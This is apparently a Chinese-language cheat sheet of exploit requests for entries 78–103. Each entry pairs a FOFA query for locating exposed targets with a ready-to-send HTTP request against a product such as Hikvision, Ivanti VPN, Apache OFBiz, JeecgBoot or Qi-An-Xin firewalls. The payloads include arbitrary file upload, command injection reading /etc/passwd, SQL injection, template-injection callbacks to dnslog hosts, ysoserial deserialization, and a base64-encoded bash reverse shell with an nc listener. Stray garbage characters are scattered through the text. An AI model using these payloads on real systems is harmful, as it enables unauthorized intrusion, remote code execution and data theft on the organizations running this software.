------------398jnjVTTlDVXHlE7yYnfwBoix--
" _+ t' \* Z+ r

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
0 m: w# e* m: F. YFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
4 o, q4 @% P: Y4 y. uHost: x.x.x.x
5 d7 _8 w! ^' l( t5 ]2 i  {1 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( c" S  F. q, X$ S" g- zConnection: close
Content-Length: 336
Accept-Encoding: gzip
( {0 v7 U+ V9 k' |Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
) r) Z" s$ a7 r9 l- [
------YsOxWxSvj1KyZow1PTsh98fdu6l
: w2 N9 k& @+ V( y* X7 UContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
  @. f# J/ W; c( H3 W
% E6 r- L% Z4 ]+ FYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
: ?# ?/ G  Q7 ^$ H, [3 f1 B- V
, c+ f$ n" {' l/ ^3 T  X/Applications/SkillDevelopAndEHS/
: L+ R7 d, X% Z" o------YsOxWxSvj1KyZow1PTsh98fdu6l--

" b% j5 e* ^) u% n1 Y2 D. r$ H& `
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x


79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
) u# m5 z8 \. m# M% p/ x& FGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
# z' g- q; y. `" a( ~6 nConnection: close
. w6 S4 w$ K2 g$ ~0 v9 hUpgrade-Insecure-Requests: 1

2 E+ r% }% K! ]. Z# I9 O- N
+ n; O! z# r) K, P( Y0 I$ w80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
' k  l4 k% @8 ^( h' |, f7 gFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
) i3 ?; O7 q& y2 R- U2 J8 pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ q, q/ N9 ?3 m' x6 C/ i7 ?! T  @Content-Length: 27
) e, a; z+ B% T. d: BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 z* |$ A( N* U4 _Accept-Encoding: gzip, deflate
! y4 R9 f& W5 Z8 }' HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>
# H; W* @; @! m  q, d8 }

GET /xykqmfxpoas.jsp HTTP/1.1
( [" ?/ `6 U9 c9 n: kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 j1 V  c3 p) Q2 c; r" w5 r7 `6 z( yConnection: close
Accept-Encoding: gzip
6 ~5 W* x2 k/ z7 \; g# ^/ p9 z
# d' C) d" f8 m
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
# ^/ ?- F+ t& f8 }' D. TFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
3 A1 j  R, O$ ?( f/ A% u/ J$ L1 A& FAccept-Encoding: gzip

7 g9 O( r* L3 Q3 {" `% b
! L/ b# d7 N) R82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
. ~5 S1 r  `+ X6 G" Z% [POST /bhost/test_qrcode_b HTTP/1.1
  G9 j6 u; D) `2 d7 l6 F5 XHost: BaseURL
  X9 W) s* m7 n5 \9 bUser-Agent: Go-http-client/1.1
Content-Length: 23
7 r/ [2 q7 [7 VAccept-Encoding: gzip
+ `) ~. Q$ l- p3 ]3 t/ {, Q9 o# CConnection: close
Content-Type: application/x-www-form-urlencoded
* p* ?( u$ k9 f4 s) YReferer: BaseURL
) O, k4 n) x0 R! H
3 ]2 N; ]( D' P( K7 Z' H9 R" G% Pz1=1&z2="|id;"&z3=bhost
" V( f3 L9 J8 x4 @6 d1 }; K4 _8 n
' b' @$ e+ Z$ l1 l# E
83. JeecgBoot testConnection 远程命令执行
, P2 {+ i; W* U9 H3 _FOFA：title=="JeecgBoot 企业级低代码平台"

; c& W, X' y4 c) G7 `; y
POST /jmreport/testConnection HTTP/1.1
8 q7 H9 ]; ~0 B, d! g% a2 ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
Accept-Encoding: gzip
! q) Z) |% y( `# K. \6 UCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
. T  C: y: d, M$ x$ V8 }1 {Content-Type: application/json

PAYLOAD
! A8 g+ V# s4 h
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"



  o% I# [5 S; PPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
; S; k0 N% n# o6 [( J' HHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
- `& Q  Y* _7 J' ~1 s  x- ?Content-Length: 156
- Y1 r+ V* N6 bAccept: */*
, j3 T$ a- P- D: Q% ?+ k7 Z, z) |Connection: close
Content-Type: application/json
Accept-Encoding: gzip

. H4 a6 S/ y8 ?! o0 u{
. e& p) ?5 z6 b& E" k "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
1 S6 A7 U1 i4 l  "type": "0"
}
  P1 K4 V5 m1 Z, v- u
& p( U+ |2 B3 w  x
2 X! l; f! P$ o2 R- O8 Z; L! m$ O85. SysAid On-premise< 23.3.36远程代码执行
. e* N, Y3 \0 X% ^7 b$ pCVE-2023-47246
2 E! L  v1 O( {4 |FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
" k, Q; r. F$ }POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
& d, c* G, y; g' F  i* i1 G& t/ uHost: x.x.x.x
# q# v% c+ K0 G) }' {4 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) W+ l2 N; X( l- p/ c$ LContent-Type: application/octet-stream
Accept-Encoding: gzip
# L' U5 s: K& ^9 o! m3 v# U
( I. W4 E8 g8 e: U1 E# N6 A+ MPAYLOAD

, r( O$ c1 y0 V' N回显URL：http://x.x.x.x/userfiles/index.jsp
1 `3 ]/ e0 ~4 L" {
- H: [. K% |+ ~3 P! L, X# J86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
9 q) M% R0 x! O$ f8 X. @6 PUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
$ p. S% I% Q4 v% }' m7 |0 e+ RContent-Length: 44
Accept: */*
* S# P6 {! z+ lAccept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
( _- w3 k) c. u2 h% l1 l
host=%0acat${IFS}/etc/passwd%0a&command=ping
- I* w5 P! B% D9 K( \3 \
7 W) O0 H) E) l
87. 安恒明御安全网关aaa_local_web_preview文件上传
- p9 b( @# H' b2 u7 u1 ?; {0 T9 b; JFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ ?) Z4 D2 v; sConnection: close
. N' q+ a  \1 h$ mContent-Length: 198
7 i' B3 E, _9 Z: k% DAccept-Encoding: gzip
1 h3 Z$ {/ g; m4 J3 z. BContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
" \. P# G' G+ s. [2 O
' e0 Z! ?8 F7 F: q& h$ q2ZqGNnsjzzU2GBBPyd8AIA7QlDq
) s& U" O! W5 g% t$ Y% i3 M. N--qqobiandqgawlxodfiisporjwravxtvd--


1 U3 Y5 ~/ E5 Q5 s  A/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
+ e; m7 T  F7 o# ?5 [7 pGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
9 K3 r, y, ^. ]( Y7 j' V6 jHost: x.x.x.xx.x.x.x
. d/ t. I- {" O- r) KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 S6 L2 B: p/ G) E" R& P: tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# z5 ^# A6 M3 _2 U$ b  t, c% K, v& }' AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ z3 p9 m3 a2 o$ b; u8 ?  @: qConnection: close
3 U, m! r' }; w$ G) U% g1 R6 g

1 N- Z: {9 J! I6 w7 c/astdfkhl.php

+ ^, Q, ^- }; [1 K; d0 J1 j; ^$ }% U89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
$ l; E9 y, `: [5 I+ v. {POST /sysform/003/editflow_manager.js%70 HTTP/1.1
/ s$ T+ y" u7 U" Q/ @0 y! GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
5 |& ?* `5 N0 c! w* b$ J' L( _7 `Accept-Encoding: gzip

9 h' \1 s1 y6 _, }8 _* a! ?; ?option=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
$ m: E* ^4 d4 _, J8 lFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
+ Q' @" v+ X7 o1 k2 i( K: z1 H; K. R" {+ VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- K  u* L* N& \Connection: close
Content-Type: application/x-www-form-urlencoded
+ n% {% J/ A6 v, C+ rX-Requested-With: XMLHttpRequest
) A% ~& c2 |+ z' ]* Q- g- t  [
9 V/ w  V# i8 }  Djsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
( e3 ^1 W  q* O, K' t3 Q
- Y9 N/ Z; U: Z* B5 w( m7 c
2 l" z3 C. B- g, b' [7 I91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
  I; W: u# f/ B8 @
/ N+ [/ I" P0 u8 G9 S/ [
6 O( ?/ n4 h: F
92. 海康威视运行管理中心session命令执行
3 Y( a( J5 G+ lFastjson命令执行
8 A. @6 J  a  ?1 Zhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
3 E0 n: v2 V; \& d6 r. f0 [: Q$ MContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
$ d# t! `/ N! N. dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
( X/ K3 g% W( M7 F* _
5 u0 h6 y# Q  U' YPAYLOAD
; k5 u( L- \6 _/ G1 X# T4 j& G3 r
% g/ E$ U5 a# C# r
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
4 x. N& R' Z  L/ n: H- FPOST /?g=app_av_import_save HTTP/1.1
4 i9 V8 `- V. ]* FHost: x.x.x.x
+ V- v2 V9 m6 i6 uContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

) d% b! F! w5 l. y$ U8 o, T5 R------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

7 {1 f5 r5 d" I: u3 t10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
/ A3 Q& C) U* y) R' V# l( bContent-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
6 `0 x8 F' Y4 y6 y/ \3 [- o------WebKitFormBoundarykcbkgdfx
+ l2 {2 [+ |, n. h; `0 nContent-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

5 p; }4 J! b! ?; _6 h0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
% U# ]. h0 T! N7 W" K: N$ d
& x: b+ _: R0 [. L
, E) j" A3 Q  p& A; g" HGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
2 l# P; y+ b& N5 ~& o0 XUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


" a+ D1 S9 N4 i94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
% l6 f! K- A7 u6 y4 T* tPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
2 \3 e) }- M- A, N# SContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
4 q* `" x+ I9 f# l0 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
3 m8 s, q  K" B# n; K
4 h' D& w- l" p% N3 I------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
, @/ ]! r% p, F------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
6 K7 M" n/ l1 {9 d" k4 P6 ^; a
8 p- h/ j4 A' E8 D$ T) o; zpxplitttsrjnyoafavcajwkvhxindhmu
$ T" ?* s  p1 [' l------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
* ~" \7 _+ F( V
  ?9 D6 T3 M9 j& _8 Mobj_app_upfile
3 x* _7 u' |  V" m! r* z6 n------WebKitFormBoundarybqvzqvmt
7 {: [: M6 L5 Y. [% KContent-Disposition: form-data; name="__hash__"
: ]2 o6 k; d3 M! ~0 A
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
& B& f4 x6 Z: S2 `) E3 \% B# E

! R5 U% J1 |; ]" X1 `' \
0 m7 g0 ^/ M# ?( B& s, Z8 A  fGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

$ _3 d& \% R5 [9 `' ]- A8 r; s, Z

; f1 O  P- }6 C/ ~95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
" h0 H* h* Q/ p7 GFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
7 o. X& H( P( @- ?User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
7 r; x! Q- S7 y2 \Content-Length: 889
Content-Type: application/xml
$ Z7 R; s. ~1 s4 l: V: H2 vAccept-Encoding: gzip
. D. I3 J* a8 e3 P/ C! u
<?xml version="1.0"?>
+ x( F" V$ l7 u+ C9 {' _<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
& U0 L3 I& l$ g  ]. h& b; j/ y      <param>
; ?- u$ I( x  F      <value>
/ h5 a' A) J) Q1 [& b2 N& \        <struct>
       <member>
          <name>test</name>
5 A% s" E" b2 Q$ u          <value>
7 g. @( H! z6 D& E& i      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
& e0 m. E6 b6 l# g( j% e        </member>
& ~  g$ }  @" g% ^( a4 Y( J& m7 L      </struct>
# x# C" ?5 X' @# ^      </value>
% O! ~& z+ \# _7 G' D- q    </param>
    </params>
</methodCall>


, z7 v& Q; ^( L. B; p用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


  E* ^, U8 s: }% R/ i$ h0 v3 m将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
! t+ U; G/ g5 D: s% _$ k4 {Connection: close
Content-Length: 889
, ]8 p/ H% o3 z2 X* F1 a1 ~Content-Type: application/xml
Accept-Encoding: gzip
% X1 B# I9 ~, w
PAYLOAD
9 D2 m* l8 h: C" [9 l
& }. \* `: B; R2 h, y96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
4 y* _! x# W+ w) qHost: localhost:8443
6 l. N" w/ z7 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
6 Z& W* u+ Z  |9 t9 R& g( G3 D; r, EAccept: */*
9 B$ Z+ k6 f( i6 I( Q) DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# ^* |9 y8 X* w5 f9 G) q5 w1 H3 NContent-Type: application/x-www-form-urlencoded
Content-Length: 55
$ g4 \8 t/ @7 v' C+ N$ r: s
groovyProgram=throw+new+Exception('id'.execute().text);

0 f" _3 N3 w$ z9 ^1 k7 L/ z
7 p9 Z9 C. e5 t0 b2 P1 E$ _反弹shell
6 \5 H* o# w5 h# K5 k) W3 r在kali上启动一个监听
  u/ D9 |, D! }nc -lvp 7777
! }. u4 U" y1 c  q
) H( V9 U  W& F4 Y' g& p. \" z$ jPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
' N; |9 R5 n1 x0 }Host: 192.168.40.130:8443
: [& K/ P( Y2 q" ~5 R' \7 z) P. vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
9 G% E% F' d: g0 @1 W0 b' KAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
, f2 Q$ Z7 h3 I* ?/ V! V
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

7 S9 j8 J( A3 S97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
3 g6 x/ ]$ N6 y  THost: 192.168.40.130:8085
6 a7 ~; w/ m" F2 E; h! FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
/ y6 E% p+ X8 f! W) E! x. h% Z6 Y% p7 iConnection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

% {8 J3 z; a, x- C% O
5 [2 A0 I! u: Z& K$ |* @98. SpiderFlow爬虫平台远程命令执行
( n$ w* x4 K4 K: WCVE-2024-0195
+ d6 L' b# g/ E4 l  uFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
' H  J5 w) v$ A7 s/ E2 aHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
1 L8 p% n0 t1 IContent-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  J: B5 D" U# J7 nContent-Type: application/x-www-form-urlencoded; charset=UTF-8
2 @  x# ?9 n4 W3 c* e) pX-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
* S* U/ X  |! ~( a! X6 e

99. Ncast盈可视高清智能录播系统busiFacade RCE
/ r4 e/ l; D$ Y$ ^4 H1 b& YCVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
# w7 v0 r2 Y% I0 @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
( s8 L/ n# ]# {  uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

( r9 Y& v" n% W; T/ _# R8 y%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
3 I! |/ ^3 s/ }* P( e* o; c2 A
2 |. a; D" O1 K  n
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
* l0 {1 R! v/ c7 f2 C- hPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
( V3 l2 J# \3 b! Q6 H$ t' WUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
, a" z8 k; s$ ~& ]Connection: close
6 N  \( j( F8 }( h4 jContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
6 u3 Z: _" P# n6 t3 w. D. Y9 YAccept-Encoding: gzip

. |4 B' g7 [, B5 O9 J2 j# o------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
3 i; x- T" m* z6 c% ~8 l1 vContent-Type: application/x-php
3 Z# i# N- r5 \. i% V  J
* B* |8 Z5 _  `8 d- A2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--

$ N" q8 F& A  u6 ]# ~
1 n2 a2 Y; H7 x" A# n5 z101. ivanti policy secure-22.6命令注入
9 J% I4 }$ w" T( f) }CVE-2024-21887
& H. G4 r% i0 P3 m% I8 z" K- LFOFA：body="welcome.cgi?p=logo"
6 Q9 v* f' @' R- d# x8 aGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
3 E# y  n9 u  k4 B/ J$ G/ q; q& VUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: L' C1 @+ t- n8 yConnection: close
9 Z8 Q. }, g0 z2 ]+ k4 D0 V( UAccept-Encoding: gzip


102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
- @! I, h- C$ [CVE-2024-21893
5 k3 M; n1 X+ ^' Z. H0 dFOFA：body="welcome.cgi?p=logo"
2 F% w. c( x( APOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
5 k% o) e0 B9 F+ r- }+ x, cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
% O0 ]" b  B. g& _" tConnection: close
Content-Length: 792
! g3 M3 y' t' Q& E- `, R0 T6 |/ QAccept-Encoding: gzip
/ F# `% q7 @# D( _! N
. J5 E( w7 w" }. A<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

7 e. q8 S* ?9 k2 Z6 a9 C103. Ivanti Pulse Connect Secure VPN XXE
; B  x2 x8 }, m) P& {; X; ICVE-2024-22024
/ t9 |( n8 n6 I) {! C" oFOFA：body="welcome.cgi?p=logo"
) g" B6 U' s* }. EPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
- D, S- x8 ~6 t- ^: {! O" b+ XContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

- l7 E7 l( h$ J; d6 z9 MSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


* ~5 L: D) m; V& s" i* H其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
